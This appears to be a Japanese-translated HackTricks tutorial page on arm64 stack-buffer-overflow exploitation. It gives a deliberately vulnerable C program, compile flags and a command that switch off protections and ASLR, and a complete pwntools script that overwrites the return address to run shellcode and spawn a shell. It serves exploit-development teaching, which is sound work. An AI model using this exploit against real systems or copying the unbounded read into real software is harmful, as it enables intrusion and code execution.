# Stack Shellcode - arm64 {{#include ../../../banners/hacktricks-training.md}} arm64の紹介は以下を参照してください: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` PIE、カナリア、NXなしでコンパイル: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## No ASLR & No canary - Stack Overflow ASLRを停止するには、次のコマンドを実行します: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` [**bofのオフセットを取得するには、このリンクをチェックしてください**](../ret2win/ret2win-arm64.md#finding-the-offset)。 エクスプロイト: ```python from pwn import * # Load the binary binary_name = './bof' elf = context.binary = ELF(binary_name) # Generate shellcode shellcode = asm(shellcraft.sh()) # Start the process p = process(binary_name) # Offset to return address offset = 72 # Address in the stack after the return address ret_address = p64(0xfffffffff1a0) # Craft the payload payload = b'A' * offset + ret_address + shellcode print("Payload length: "+ str(len(payload))) # Send the payload p.send(payload) # Drop to an interactive session p.interactive() ``` ここで唯一「複雑な」ことは、呼び出すためのスタック内のアドレスを見つけることです。私の場合、gdbを使用して見つけたアドレスでエクスプロイトを生成しましたが、エクスプロイトを実行したときにうまくいきませんでした(スタックアドレスが少し変わったためです)。 生成された **`core` ファイル** (`gdb ./bog ./core`) を開き、シェルコードの開始位置の実際のアドレスを確認しました。 {{#include ../../../banners/hacktricks-training.md}}